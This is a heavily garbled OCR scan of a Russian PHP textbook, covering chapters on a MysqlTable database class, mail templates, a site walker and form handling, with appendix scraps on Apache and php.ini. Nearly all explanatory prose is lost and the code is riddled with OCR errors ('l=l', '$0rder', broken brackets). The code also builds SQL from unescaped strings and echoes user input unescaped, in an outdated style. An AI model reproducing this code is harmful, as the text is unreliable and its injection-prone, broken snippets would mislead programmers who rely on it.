MysqiTabie "", PreModifyO
,
PreModif ( ) , ( ).
, ,
. ,
. , , - .
,
.
MySQL
, V , ( ) .
"" ,
. ,
MySQL,
,
SQL-. , , -
466
V.
,
. , ,
, , . ,
. .
. , . , , , .
( ). ,
, . . ,
, "" .
/
" ", . . .
/ . , , ( SQL).
id, . .
,
: , , , , . , ,
, , .
(,
).
GetinfoO s e t i n f o t ) . , ( " " ).

(
MySQL ). ,
, . , , .
,
. -
31.
467
, ""
"". ,
,
- ,
. "" ,
, ,
die ( ) . ,
MysqiTabie.
, - ... 31.2 ,
. , MySQL
.
! 31.2. MySQL-
//
//
//
//
MysqiTabie - " " MySQL.

MysqiTabie -
(, CGuestBook) ,
.
// (" ")
define ("DataField", " data ") ;
//******************* *****^
// ,
function Def0(S$st,$def) { if(!isSet($st)[I$st=="") $st=$def; }
// .
function Apostrophe(&$st)
{ $st=str_replace(chr(0),"\\0",$st) ;
$st=ereg_replace("\\\\","\\\\",$st);
$st=ereg_replace('"","\\'",$st);
return $st;
}
// .
function SqlPack(&$obj) { $s=Serialize($obj); return Apostrophs(Ss); }
// ,
function SqlUnpack(&$st) { return Unserialize($st); }
!63. 699
468
V.
/I*** .
//
//
//
//
, ,
, - id (
) _ data _ (
) . ,
// -
// ( "select") ,
//
// / .
class MysqlTable {
/ /***
var $TableName;
//
var $UniqVars;
// (=1, =1 . . . )
var $Index;
// (=1, =1 . . . )
var $Fields;
// (=, =. . .)
var $Error;
// {"", )
var $JustCreated; // 1, ,
//***
// , ,
// .
function _PackFields(&$Hash).
{ $Data=array ( ) ;
foreach($Hash as $k=>$v) if ($k!=DataField)
if (lisSet ($this->Fields[$k] ) ) $Data[$k] =$v;
return Serialize ($Data) ;
//
// ( ) . ,
// ""
// (, )
// .
// , , -
// SDN, " ",
// ".. " .
// 0, .
function PreModify (&$Rec) ( return 1; }
31. -
469
// ,
// . ,
// "" .
// ,
// STM- "..", "
// ",
function PostSelect(&$Rec) { return; }
//
function GetTableName() { return $this->TableName; }

// select.
// () , , GetResult().
// $ - SQL,
// $0rder - ( - id)
function TableSelectQuery($Expr="",$0rder="id desc")
{
$this->Error="";
if(!$Expr) $Expr="l=l";
$r=mysql_query("select * from ".$this->TableName.
" where ($Expr) and (id>l) order by $0rder");
if(!$r) { $this->Error=mysql_error(); return; }
return $r;
}
function SelectQuery($Expr="",$0rder="id desc")
{
return $this->TableSelectQuery($Expr,$Order); }
// select (,
// ) (!) .
// SelectQuery() , ,
// GetResult, . ""
// . : ,
// . , "".
// ( SelectQuery)
// - Select(),
// !
function TableGetResult($r)
{
$this->Error="";
//
if($r)
$Result=mysql_fetch_array($);
else $this->Error=4tiysql_error ( ) ;
470
V.
if(!@is_array($Result)} return;
// $Hash
$Hash=array();
foreach($this->Fields as $k=>$i)
i f ( i s S e t ( $ R e s u l t [ $ k ] ) ) $Hash[$k]=$Result[$k];
//
$Hash+=SqlUnpack($Hash[DataField]); unSet($Hash[DataField]);
$this->PostSelect($Hash);
//
return $Hash;
}
function GetResult($r) { return $this->TableGetResult($r); }
// : , GetResult
// TableGetResult(),
// MysqlTable,
// . ,
// .
// mysql__rium__rows ()
function GetNumRows($r) { return mysql_num_rows($r); }
// mysql_data_seek().
// $ "" $to,
// GetResult() ,
function DataSeek($r,$to) { return mysql_data_seek($r,$to); }
// $Name. '
//
$Fields - .
// . ,
// , ,
// . : -
// - . $Fields - ,
// , , .
// : -
// , ,
// (, ).
// : - , ,
/ / $Fields
// ,
// ( ).
31. -
471
// : $Fields ,
// , , ,
// / /
// distinct.
//
$ Index - .
// ,
// (, , ). -
// , - "" (0, ,
// )
function MysqlTable($Name,$Fields="",$Index="")
{
$this->TableName=$Name; $this->Error="";
if(is_array($Fields)) {
foreach($Fields as $k=>$v)
if(leregi("not null",$v)) $Fields[$k]=$v." not null";
$Fields=array("id"=>"int auto_increment primary key")
+$Fields+array(DataField=>"mediumblob");
}
Def0($Index,array());
//
$this->Fields=array(DataField=>"mediumblob");
$Data=$this->TableGetResult(
mysql_query("select ".DataField." from $Name where id=l")
);
// , .
// ,
// , , .
if(@is_array($Data) ) {
if(!is_array($Fields)) {
$this->Error="Couldn't create table: no fields specified";
return;
}
DefO($Data["Fields"],array());
DefO($Data["Index"],array());
//** , - . alter table.
//1. ?
$Lst=array();
foreach($Fields as $k=>$v) {
i f ( l i s S e t ( $ D a t a [ " F i e l d s " ] [ $ k ] ) ) $Lst[]="add $k $v";
else i f ( $ D a t a [ " F i e l d s " ] [ $ k ] ! = $ v ) $Lst[]="change $k $k $v";
472
V.
1/2. ?
foreach($Data["Fields"] as $k=>$v)
if(!isSet($Fields[$k])) $Lst[]="drop $k";
//3. ?
foreach($Index as $k=>Sv) if(!isSet($Data["Index"] [$k]})
$Lst[]="add index index_$k ($k".($v!=0?" ($v)":"").")";
//4. ?
foreach($Data["Index"] as $k=>$v)
if(lisSet($Index[$k])} $Lst[]="drop index index_$k";
if(count ($Lst)) {
PrintDump($Lst);
if(!mysql_query("alter table $Name ".implode($Lst,","))) {
$this->Error=mysql_error();
return;
}
$Changed=l;
}
$this->JustCreated=0;
} else {
// .
// BugFix by DM:
// Error,
// .
$this->Error="";
$Lst=array();
foreach($Fields as $k=>$v) $Lst[]="$k $v";
foreach($Index as $k=>$v)
$Lst[]="index index_$k ($k".($v!=0?" ($v)":"").")";
if(!mysql_query("create table $Name (".implode($Lst,",").")")) {
return;
}
$this->JustCreated=l;
}
// ,
if(!empty($Changed) I I$this->JustCreated) {
$Data["Fields"]=$Fields;
$Data["Index"]=$Index;
DefO($Data["Info"],array());
$Data=SqlPack($Data);
// -
31.
473
if ($this->JustCreated) {
$Result=mysql_query ("insert into $Name (id, " .DataField. ")
values (1, '$Data' ) ") ;

} else {
$Result=mysql__query ("update $Name set ".DataField.
"='$Data' where id=l");

}
if(!$Result) { $this->Error=mysql_error ( ) ; return; }
}
$this->Fields=$Fields ;
$this->Index=$ Index;
// , .
//
// GetlnfoO, . ,
// , -
// - , . $Inf // .
function TableSetInfo($Inf )
(
$this->Error="";
//
$r=mysql_query ("select ".DataField." from ".
Sthis-XTableName." where id=l");
if ( ! ($Data=$this->GetResult ($r) ) ) return;

// Info
$Data["Info"]=$Inf;
$Data=SqlPack($Data) ;
//
if ( !mysql_query ("update " . $this->TableName.
" set ".DataField. "='$Data' where id=l"))
{ $this->Error=mysql_error () ; return; }
return 1 ;
}
function Setlnfo($lnf) { return $this->TableSet!nfo (&$Inf ) ; }
// ,
// Setlnfo. , .
function TableGetlnfoO
V.
474
{
$this->Error="";
//
$r=mysql query("select * from ".$this->TableName." where id=l");
// - , GetResult Error
if(!($Data=$this->GetResult($r))) return array();
if(!@is_array($Data["Info"])) $Data ["Info"]=array();
return $Data["Info"];
}
function GetlnfoO { return $this->TableGet!nfo(); }
// . !
// !!!
function TableDrop()
{
$this->Error="";
if{!mysql_query("drop table ".$this->TableName) ) {
return 0;
}
return 1;
}
function DropO { return $this->TableDrop(); }
// $Rec (
// ) .
// id, , ,
// ( ). 1
// , $Rec
// .
function TableAdd(&$Rec)
{
$this->Error="";
if(!$this->PreModify($Rec)) return 0;
// . .
$Rec[DataField]=$this->_PackFields($Rec);
//
$LNames=$LVals=array();
foreach($this->Fields as $name=>$type) {
$LNames[]=$name;
$LVals []="'".Apostrophs($Rec[$name] ) . '"";
31. -
$LNames=implode($LNames,", ") ;
$LVals=implode($LVals,", ") ;
unSet($Rec[DataField]);
//
if(!mysql_query("insert into ".$this->TableName.
"($LNames) values($LVals)")}
{ $this->Error=mysql_error() ; return 0; }
$Rec [ "id" ] =mysql__insert_id () ;
$this->PostSelect($Rec) ;
return 1;
}
function Add(&$Rec) { return $this->TableAdd(s$Rec); }

// , $.
// : $Tbl->Delete("(id=$id) or (id=0)");
function TableDelete($Expr)
{
$this->Error="";
if(!mysql_query("delete from ".$this->TableName.
" where ($Expr) and (id>l)"))
( $this->Error=mysql_error(); return 0; }
return 1;
}
function Delete($Expr) { return $this->TableDelete($Expr); }
// ( - id, - ).
// $Num .
// PostSelectO !
function TableSelect($Expr="",$Num=100000,$Order="id desc")
{
$this->Error="";
//
$r=$this->SelectQuery($Expr,$0rder); if(!$r) return 0;
//
for($i=0,$Found=array(); $i<$Num&&($Rec=$this->GetResult($r)); $i
$Found[$Rec["id"]]=$Rec;
return SFound;
}
function Select($Expr="",$Num=100000,$Order="id desc")
return $this->TableSelect($Expr,$Num,$0rder); }
475
V.
476
//
//
//
//
//
//
//
, $Upd
, .
, .
id ( $id ,
$Upd["id"]) , !
, $Upd id ( ,
).
// $id.
// , id HE (
// , id )!
function TableUpdate(&$Upd,$id=0)
{
$this->Error="";
// $id,
if($id) $Upd["id"]=$id;
// . .
$r=$this->SelectQuery("id=".$Upd["id"]);
$Rec=$this->GetResult($r);
// , , -
//
if(!$Rec) { $this->Error="NotExists"; return 0; }
// - .
//
$Rec=$Upd+$Rec; $Upd=$Rec;
if(!$this->PreModify($Rec)) return 0;
$Rec[DataField]=$this->_PackFields($Rec) ;
//
$Lst=array();
foreach($this->Fields as $name=>$type)
$Lst[]="$name='".Apostrophs($Rec[$name])."'";
$Lst=implode($Lst,",");
//
iff!mysql_query("update ".$this->TableName.
" set $Lst where id=".$Rec["id"]))
{ $this->Error=mysql_error(); return 0; }
$this->PostSelect($Rec);
return I;
}
function Update(&$Upd,$id=0) { return $this->TableUpdate(&$Upd,$id); }
31.
477
// - , $.
// , .
function TableGetCount ( $Expr=" " )
{
$this->Error="";
$r=qnysql_query ("select count (if ( ($Expr) and (id>l) , 1,NULL) ) from ".
$this->TableName) ;
if(!$r) { $this->Error=mysql_error () ; return 0; }
$a=mysql_fetch_array ($r) ;
return $a [0] ;
}
function GetCount ($Expr="") { return $this->TableGetCount ($Expr) ; }
// $ field
// , $.
// : , $ field
// $Fields .
/ / .
// $field .
function TableGetDistinct ($field, $Expr="")
{
$this->Error="";
$r=mysql_query ("select distinct $field from ".
$this->TableName. " where ($Expr) and (id>l)");
// distinct HE order by! - . . .
if(!$r) { $this->Error=mysql_error () ; return 0; }
for ($Arr=array (} , $i=0, $n=mysql_num_rows ($r) ; $i<$n; $i++)
$Arr []=raysql_result ($r,$i,0) ;
return $Arr;
}
function GetDistinct ($field, $Expr="")
{ return $this->TableGetDistinct ($f ield, $Expr) ; }
}; //
( 31.3). :
(
, ) .
478
V.
\ 31.3. MysqlTabl
<?
include "Librarian.phi"; // (. 29)
Uses("MysqlTable"}; //
//
mysql_connect("localhost");
mysql_select_db("test");
//
$t=new MysqlTable("test",array("t"=>"int"));
//
$d=array("t"=>time());
$t->Add($d);
//
$Inf=$t->GetInf();
$Inf["a"]=@$lnf["a"J+l;
$Inf["b"]=@$Inf["b"]+10;
echo $Inf["a"]," ",$Inf["b"],"<br>";
$t->SetInfo($Inf);
//
$d=St->Select ;
foreach($d as $id=>$Data) {
echo "Sid: ".$Data['t']."<br>";
(, ,
), . ,
.

, , (
, ?), . , $ $=$,
$ $ --. ,
31. -
479
, ,
. , , :
$0bjl=new MysqiTabie("test");
$0bj2=$0bjl;
$Objl->Drop() ;
- sobji ,
, , $obj2
"". $obj2 - "", "
" , test,
- .
, , . ,
.
. .

, , . , ,
. , , , MysqiTabie? , . . , ""
MySQL. , , ,
, .
M y s q i T a b i e , . .
, ,
G e t i n f o O s e t i n f o t ) . G e t i n f o O
MySQL,
. , ""
G e t i n f o O . ,
,
? MysqiTabie Setinf ( ) .
""
MySQL, "" .
480
V.
MysqlTable ,
, .
, , , . , :
$tl=new MysqlTable ("MyT able" ) ;
function Dolt($t)
{ $t->Set!nfo ("This is the new info!");
$t=new MysqlTable ("MyTableName") ;

$t->Set!nfo ("Data") ;
Dolt ($t) ;
$Inf=$t->GetInfo () ; // $Inf Data!
,
, :
function
Dolt(&$t)
( $t->SetInfo("This is the new i n f o ! " ) ;

}
, .
( , ) .
, ""
( ), "" ( ). .
. , , MysqlTable ,
. ,
,
MysqlTable , -
(, ).
, .
. , -
, ,
, ,
MysqlTable. , , -
31. -
481
, , . ,
mom , .
^~~
, : , new ? : " , ,
". new
, , , .
, .
- " ",
. ,
.
, "
, ... ".
MysqlTable ""
, . , , !

4
. , III ,
(), ?.. .
( )
( 31.4):
I 31.4.
// . ,
// .
$Tables=array();
// () ,
// MySQL . ,
function SOpenTable($name,$Fields="")
( global $Tables;
if(llsset($Tables[$name]))
482
V.
$Tables[$name]=new MysqlTable($name,$Fields);
return $Tables[Sname];
// .
$ 1 = & ("") ; //
$2=& ("OtherTable") ; //
$TblEqualsTol=&OpenTable(""); // !
// $1 STblEqualsTol .
// $1 $TblEqualsTol,
// .

. .
& ( ),
, .
, ,
, , . , ,
&
, !
, , $ "" =. &, .
, ,
. , , , .
? , . ,
,
, . , (
) .
, - . ,
. , , , , .
31. -
483
"" (, +, CORBA)
, Java. C++
. ? ,
. - , , , .
, . , . , ,
. ? ,
?.. ( , , , ). ,
. ,
( , , MysqiTabie), ( ).
,
( ). ,
( )
( ),
( ). , ,
- (-), ( ),
, .
, ( ) ,
, ( ).
, "" -
- ( ). , , - ( ).
( -), (
) ( "
", ).
, ? , , . . "
, , MysqlTable, . . ,
, . , ,
"" -, .
484
V.
, ,
. ,
. , . -
. "
", ".
, : MysqiTabie , . . iMysgi, .
, KysqiTable,
, "" . , , ,
iMysqi. MysqiTabie,
Drop ( 31.5):
I 31.5. MySQL
// -,
$GLOBALS["Tables"]=array(); //
// . - .
// ,
// .
class MysqiTabie {
// . . .
function MysqiTabie($name) { echo "MysqiTabie($name)<br>"; }
function DropO { echo "Drop()<br>"; }
}
// -
class IMysqi {
var $id; // (MysqiTabie) $Tables
// $name.
// ,
// , .
function IMysqi($name)
{ global $Tables;
$this->id=$name;
// $name ,
if(!isset($Tables[$name])) $Tables[$name]=new MysqiTabie($name);
//
31, -
485
// .
function Drop() { $obj=S$GLOBALS['Tables'][$this->id]; $obj->Drop(); }
}
//
$m=new IMysql("TestTable"); //
$m=new IMysql("TestTable"); // !
$m->Drop(); //
^~ "
, , "". , IMysql .
"" , , ,
IMysql . , , , . , "-", , ...
, , -,
,
. , IMysql, ,
"" . .
-: - (,
MysqlTabieimpi ), - ,
IMysql.
, -
, , . -
IMysql MysqlTabie,
, "" . , + Queryinterface .
(
IMysql "" MysqlTabie, !), .
, (
...), .
32
-"-^L
20
PHP-. ,
FostMaiio ""
, .
, .
-
, , ( ) . , From
, : " !".
" " -- , , . .
.
<? ?> echo
print, . :
"", -,
? , ,
(
- s t a r t o f M a i i , P o s t M a i i o ) :
: "<?=$Name?>" ?=$email?
Subject: <?=$Subject?>
-StartOfMail .
<?=$Name?>!
.
, .
3,
. , 4 : "" ( 30).
32.
487
PostMaiio "-" - - , ""

, .
, , ExpandTemplate ( 32.1). , ,
.
j 32.1. : Minitempiate . phi
// .
// "" $ tempi. ,
// $Vars,
// . $Vars===false,
// $GLOBALS (
// ) . $ReadFile ""
// , $templ , ,
// .
// : $Vars , . .
// ,
/ / .
function _RunTemplate ($tmpl, $ReadFile, &$Vars)
{ //
ob_start ( ) ;
// $Vars , $GLOBALS.
// -,
// , .
if ($Vars===false) $Vars=S$GLOBALS;
// .
// .
foreach($Vars as $k=>$v) $$k=&$Vars [$k] ;
// include, eval ( ) .
if ($ReadFile) { include $templ; }
else eval ( "?>$templ;<?"} ;
//
$MTResult=ob_get_contents ( ) ;
ob_end_clean ( ) ;
//
return $MTResult;
V.
488
I / "" ,
// $fname. $Vars
// ( ) .
function ExpandFile ($fname, $Vars=false)
{ return _RunTemplate ($fname, true, $Vars) ;
II "" , $tmpl.
// , , ExpandFile ()
// , .
function ExpandTemplate ($tmpl, SVars=false)
{ return _RunTemplate ($tmpl, false, $Vars) ;
""

ExpandTemplate () ExpandFile ( ) ?
ExpandTemplate ( ) ,
?
. , , include,
. eval ( ) , , . , , ExpandFile ( ) .

PostMaiio,
,
. :
From , ;
;
Content-type,
"" ;
-, .
32.2 . , ( 29). , Miriitemplate .phi.
32.
! 32.2. PostMail () : Mail.phi

<?
Uses("Minitemplate");
// .
define("DefaultCode","w");
// $st,
// $from $to. :
// wfindows]
// k[oi8-r]
// m[ac]
windows-1251
- koi8-r
- x-mac-cyrillic
// i[so]
- iso-8859-5
//
//
//
//
//
t[ranslit] translit ("" "" )

: .
$from "t",
( ).
, -
// .
// .
function EncodeString($st,$to,$from=DefaultCode)
{ //
$from=strtolower(substr($from, 0,1));
$to =strtolower(substr($to, 0,1));
//
if($to!="t") return convert_cyr_string($st,$from,$to);
// Translit,
// "" strtr().
// "" .
$st=strtr($st, "",
"abvgdeeziyklmnoprstufh'ie") ;
$st=strtr($st,"",
"ABVGDEEZIYKLMNOPRSTUFH'IE");
// "".
$st=strtr($st,array(
""=>"", "u"=>"ts", "4"=>"ch", "ui"=>"sh",
""=>"",""=>"",
""=>"", ""=>"",
""=>"2", ""=>"", ""=>"", ""=>"",
489
V.
490
/ / .
return $st;
// Content-tyep charset
// .
global $CoderCharset;
$CoderCharset ["w" ]="windows-1251";
$CoderCharset [ "i" ] ="iso-8859-5" ;
$CoderCharset ["k"] ="koi8-r";
$CoderCharset [ "m" ] ="x-mac-cyrillic" ;
$CoderCharset [ "t" ] ="koi8-r" ;
// ( From: . .) .
def ine ("MailDivider", "-StartOfMail") ;
// $msg $to,
// SencTo.
// charset (
// ": ",
// ": <vasya@pupkin. ru>") .
// Win32, , ,
// .
// ,
// -StartOfMail.
function SendMail ($to, $msg, $encTo=DefaultCode, $encFrom=DefaultCode)
{ global SCoderCharset;
/ /
$msg=EncodeString ($rnsg, SencTo, $encFrom) ; //
$head="";
//
// , .
if (strpos ($msg,MailDivider) !==false) {
$regs=split (MailDivider. "\r?\n?", $msg, 2) ; //
$head=trim($regs [0] ) ;
$msg=$regs [1] ;
32.
/ / . .
if($head) $Lines=split ( " ( \r\n] +", $head) ; else $Lines=array ( ) ;
$HasContType=0;
// Content-type
$chs="charset=$CoderCharset [$encTo] ";

$subject="";
for($i=0; $i<count ($Lines) ; $i+-r) {
$l=&$Lines[$i] ;
// .
// , Content-type ,
// , , // .
if (eregi ("AContent-type: ",$!)) {
if (eregi ("charset *=",$!})
$l=eregi_Replace ("charset *= * [; , \n] +", $chs, $1) ;
else
$1.="; $chs";
$HasContType-f+;
}
// "to"
// . ;/ .
if (eregi ("Ato: ( [\\]*) ", $1, $regs) ) {
$to=trim($regs [1] } . " <$to>";
$1="";
}
// Subiect. PHP
// mail()
// .
// Subject , .
if (eregi ('^subject: ( [\\] *) ", $1, $regs) ) (
$subject=trim($regs [1] ) ;
// Content-type .
if ( !$HasContType) $Lines [ ] ="Content-type: text/plain; $chs"
// .
$head=ereg_Replace ("\n\n+", "\n", join ( "\n", $ Lines) ) ;
// .
$Result=@mail ($to, $subject, $msg, $head) 1=0;,
491
492
V.
// Windows ( ) .
if (getenv ( "COMSPEC" ) ) {
if ( !@is_dir ("debug") ) mkdir ("debug", 0755) ;
5f=fopen (" debug /_debug_mail . txt", "a+") ;

fputs ($,"> to: $to\n") ;
fputs (Sf, "$head\n
-\n") ;
fputs ($f , "$msg\n
\n\n" ) ;
fclose($f) ;
}
return $Result;
// PostMailO "" $msg,

// $Vars (.
// ExpandTemplate ( ) ExpandFile ())
// , $ (
// SencFrom) ,
// $to. $msg
// file:, ,
// ExpandFile () .
// $msg,
function PostMail ($to, $msg, $encTo=DefaultCode,
$Vars=false, $encFrom=DefaultCode)
( if (eregi (""file: (.*) (\n|\$) ",$msg,$P) )
$Text=ExpandFile (trim($P[l] ) ,$Vars) ;
else
$Text=ExpandTemplate (Smsg, SVars) ;
// .
return SendMail ($to, $Text, $encTo, $encFrom) ;
Encodestring ( ) ,
.
"" ( "")
, "" -
32.
493
. , vot stroka,
zapisannaya translitom.
Unix, "" .
.
, ,
:
_I |timestamp_noflriMCKM|
,
""
. , SNews.
( 32.3):
32.3. "" : mail. txt
Content-type: text/plain
From: <subscribe@ourserver . ru>
To: <?=$User [ 'name' ] ?>.
Subject:
Content-type: text/plain
-StartOfMail
<?=$0ser [ 'name ' ] ?>!
<?=date ("d. m. Y", $User [' time '])?>
.
<?foreach($News as $k=>$v) { ?>
<?=WordWrap($v, 60) ?>.
, . $user ( ) $News ( ), . ,
.
content-type
. , 20, -
V.
494
, ""
.
, . ?
, ?>,
, \. , ,
, , . , ?> . -, ,
, .
, , , 60 ,
wordwrap ( ) . 12 .
32.4 , , , .
: 32.4.
// "" .
include "$DOCOMENT_ROOT/php/Librarian.phl";
// PostMailO
Uses ("Mail" ) ;
// . . .
// $News,
// .
// .
/ / .
$F=File ("db.txt") ;
foreach ($F as $s) {
$User=explode (" I ", trim($s) ) ;
// .
$User=array (
"name"
=> $User [0] ,
"email" => $User[l] ,

"time"
=> $User [2] ,
"encode" => $User[3]
32.
405
);
// maii.txt
// , .
PostMail ($User [ 'email ' ] , "file: mail. txt", $User [ 'encode' ] ) ;
,
PostMail . , .
$user $News , , .
. , attachmenfoB ( "
"), , "",
.
M a i l . p h l , "".
, :
, - , .
33

, .

- , . ,

(, 10 ), . php.ini. , , Web, .

. ,
, . , , , -, . ,
.
, ?
, ,
. , ,
, . , ,
,
, , . ,
, , .
"" , . (
), ,
-.
33.
497
,
, , , 2- . , ,
"" .
, ,
, .
.
w a i k s i t e t ) , . 33.1
, . ""
, . -, "" ,
(, , . .), w a i k s i t e
, ,
, ,
. , (
) ,
,
, .
33.1. : siteWalker .phi
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
.
,
$cache. , ,
, $Root.
$time ( 0,
).
,
$Func.
: function FWalker(string $fname, array &$Result)
$fname
$Result
( ). $Result

.
true, ,
false, .
498
V.
function WalkSite ($Root, $Func, $cache, $time, &$Result)

{ $Start=time (} ;
// .
// SRoot .
$Prg=array (
"Todo" => array ($Root) , //
"Res"
=> array
//
);
// . ,
if ($f=@fopen($cache, "rb") ) {
if (@flock($f,LOCK_SH) ) {
$Prg=Unserialize (f read ($f , filesize ($cache) ) ) ;
f c l o s e ($f ) ;
//
// .
// $Prg['Res'],
// . , ,
// "" .
do (
/ /
$fname=array_shift ($Prg[ 'Todo' ] ) ;
// ,
if ( ! @is_file ($fname) && ! @is_dir (Sfname) ) continue;
// ,
if (@is_dir ($fname) ) {
$FiIes=array ( ) ;
for ($d=openDir($f name) ; $e=readDir ($d) ; ) {
if ($e=". " I |$e==". . ") continue;
$Files[]="$fname/Se";
}
closeDir ($d) ;
// ,
//
1
$Prg[ 'Todo ]=array_merge($Files,$Prg[ 'Todo' ] ) ;
33.
499
//
$Func($fname,$Prg['Res1] ) ;
// , ,
// .
} while (time () -$Start<$time && count ($Prg[ 'Todo' ]));
// $Result.
$Result=$Prg['Res'] ;
// , .
if (count ($Prg[ 'Todo'] ) ) (
// . .
$f=fopen($cache, "+") ;
f lock ($f , LOCK_EX) ;
ftruncate($f,0) ;
fwrite ($f , Serialize ($Prg) ) ;
fflush($f); f close ($f);
return true; //
}
// . .
@unlink($cache) ;
return false;
, , , . "" W a i k s i t e O . 33.2 "" .

,
, .
\ 33.2. WalkSite ( ) ; demo . php
// "" .
include "$DOCUMENT_ROOT/php/Librarian.phl";
// WalkSite .
UsesC'SiteWalker") ;
// .
173. 699
500
V.
//
/ / SResult ( ) .
function Walk($fname, &$Result)
{ //
print ">$fname<br>";
//
$Result []="Sfname: <b>" . f ilesize ($fname) ."</b>";
// WalkSite ( ) false, , .
if ( !WalkSite($DOCUMENT_ROOT, "Walk", "map", 0, $Result) ) {
// ,
// Walk ( ) .
// HTML- ,
// $Result.
print "<hr>";
print join("<br>\n", $Result) ;
} else {
// ,
// .
print "<meta http-equiv=ref resh content='0; url=$SCRIPT_NAME'>";
w a i k s i t e o
, . , .
, , , "" . ,
, ,
" ", . "" .
, ,
.
^"
WalkSite 33.2 ,
. , .
15 IV.
33.
501

(, , self-redirect) ,
() . ,
, ? ,
, Web.
. ,
, 30.
http://www.ourserver.ru/book/index.htmi. , , -,
, -, "".
action <form> index.html ( ),

.
, , .
-, .
. ,
. . , ,
, , , .
, . POST, : "
, POST.
( )?" , , , " ".
,
, "". , : " ", "" ,
.
,
GET.
" " ,
. : GET ,
502
V.
URL , , ?,
( ).
~
, GET , , . .
, , .
, , GET.
POST.
, proxy-
, GET, POST.
,
. , ,
, , .
POST,
HTML-, , "". ,
, .
,
" ".
Netscape, , ,
, (
). : URL , "",
, . 33.3 , .
.
] 33.3.
"
// .
$Book=@Unserialize ( join ("", File ("book.dat") ) ) ;
if(!$Book) $Book=array ( ) ;
// , ...
if(@$Go) {
array_unshift ($Book,$Text) ;
$f=f open ("book.dat", "w") ;
33.
503

f close (5f } ;
// ! . ,
// .
Header ("Location: http: //$HTTP_HOST$REQUEST_URI?" . time ( ) ) ;
exit; // .
<form action=sr .php method=post>

:<br>
<input lype=text iiame=Text><br>
<input type=submit name=Go value="Go!">

</form>
<?foreach($Book as $k=>$v) {?>
<?=$v?>
<hr>
"" URL , 1
1970 ( Unk timestamp). , ,
.
, Location
URL , . "" (, ), , .

,
, ,
" " proxy-, . , .
, "" , . , "" , , .
proxy- , .
504
V.
33.4 ,
, proxy-
. , 4 . , proxy- ( )
" ", .
| 33.4.
: ....................... . ............................................................................................................. ... ....................................................... .!
Header ( "Expires : Mon, 26 Jul 199V 05:00:00 GMT");

//
Header ("Last-Modified: ".gmdateC'D, d M Y H: i: s") . "GMT") ; //
Header ("Cache-Control: no-cache, must-revalidate") ; // HTTP/1.1
Header ("Pragma: no-cache");
// HTTP/1.0
, .
"
, 30, .
.
checkbox
(checkbox ) , Web-. , , ,
,
_=.
, ,
. , . , ,
- , .
, . (hidden) ,
, , , . :
| 33.5.
if(@$Go)
33.
505
foreach ($Known as $k=>$v)

if ($v) echo " $k!<br>";
else echo " $k. <br>";
<form action=lang.php method=post>

?<>
<input type=hidden name=Known[PHP] value=0>
<input type=checkbox name= Known [PHP] value=l>PHP<br>
<input type=hidden name=Known[Perl] value=0>
<input type=checkbox name=Known[Perl] value=l>Perl<br>
<input type=submit name=Go value="Go!">
</form>
, - ,
Known [ ]=, , $Known
. , ,
Known [ ] =1, ""
.
33.5,
, " ",
, "". .
^~
,
POST, , . , "" (
-).
VI
4\
iui
"'''
- '<-
\_ ''is

Apache httpd.conf

Apache httpd.conf .
~~)
1.1
Apache, II . -
Apache 4, ,
httpd . conf .
httpd.conf. ,
Apache.
. # . .

, . Apache . - <>, , , ,
</>. ( ) .
, , .htaccess, .
, httpd.conf.

, Apache.
| 1.1. Apache httpd . conf
i NSCA,
# .
#
# Apache, ,
510
VI.
# .
# http://www.apache.org/docs/.
#
# .
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# Apache.
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542
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544
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546
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;extension=php_fdf.dl1
extension=php_gd.dll
;extension=php_gettext.dll
;extension=php_ifx.dll
;extensjon=php imap.dll
;extension=php_interbase.dll
;extension=php Java.dll
;extension=php_ldap.dll
;extension=php_mhash.dll
;extension=php_mssq!65.dll
;extension=php_mssql70.dll
;extension=php_oc18.dll
;extension=php_oracle.dll
;extension=php_pdf.dll
;extension=php_pgsql.dll
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2. PHP php.ini
549
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echo cfg_get_var("mysql.default_password")
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550
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session.save _handler=files
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session.cache_expire=180
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session.use_trans_sid=l
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mssql.allow_persistent=0n
mssql.max persistent=-l
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mssql.compatability_mode=0ff
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2. PHP php.ini
553
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;assert.bail=0ff
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[Ingres II]
Ingres.allow_persistent=0n
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.: (095) 232-0023
e-mail: info@softline.ru

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Microsoft
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Web-

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www.bhv.

02429 24.07.00. 27.01.03.

TCP (Transmission Control Protocol ), , HTTP (Hypertext

" " Unix.

" " Web.

World Wide Web URL

: REQUESTJJRI; QUERY_STRING , REQUEST_METHOD GET.

: REQUESTJJRI; QUERY_STRING , REQUEST_METHOD POST.

, , , referer - "". , . , HTTP, , , .

, , , "" . - ( , , ), URL, / URL .

Netscape , , Location URL ( ,

#include <stdlib.h> // rand()

<input type=submit value="Go!">

<input type=hidden nanv;=email value="admin@microsoft . com. ">

, . width , a height . wrap

Box: <input type=checkbox name="Box" value=l checkedxbr>

Cookie HTML <meta>. , , Cookie. :

printf ("<form action=/cgi-bin/script . cgi method=get>\n") ;

, - URL . , , (login) (password).

, MySQL ( Windows 95/98)

II. . Web- Apache

Welcome to the Apache Web Server Setup program.

WARNING: This program is protected by copyright faw end

Unauthorized reproduction or distribution of this program, or any portion

C:\Program FilesV^acfie GroupNApache

II. . Web- Apache

Program will be installed wllh the mostcommon

Program will be installed with minimum required

You may choose the optjonsyouwantto install.

, Windows 95/98 . subst " " (

II. . Web- Apache

<Directory ":/Program Files/Apache Group/Apache/htdocs"> -

II. . Web- Apache

Apache , exe, bat cgi CGI-.

cd "\Program FilesXApache Group\Apache"

, "SSI Test!", index.html .

II. . Web- Apache

z: /home/hacker, (, cgi www, ),

Apache httpd.conf (. ), Windows. , .

ServerAdmin webmasters localhost

//. . Web- Apache

hosts ( ) hosts . sam, , , !

II. . Web- Apache

II. . Web- Apache

Installer version number 1.0.1 -

ell PHP (.. by clicking Cancel to exit

4. SMTP- (Send Mail Transfer Protocol ), .

96 _ II. . Web- Apache

, PHP- , CGI-. , CGI- /cgi-bin/ /cgi/,

II. . Web- Apache

Welcome to the MySQL Setup program, This program

It is strongly recommended that you exit all Wiridows programs .

WARNING: This program is protectedby copyright law and/

Setup will install MySQUn the following folder.4:

': .'; : . ' " <'.

To install to this folder, dick Next.

, , MySQL " " Apache,

II. . Web- Apache

start C:\Progra~l\MySQL\bin\mysqld-nt standalone

"C:\Program Files\Apache Group\Apache\Apache" -k shutdown

define ("DBName", "test") ;

define ("Password", "") ;

echo " : $dat <>\";

echo "<li>Si = ". ($i*$i) ;

return $a$aChild($a); // $a$a($a+l)*($a+l)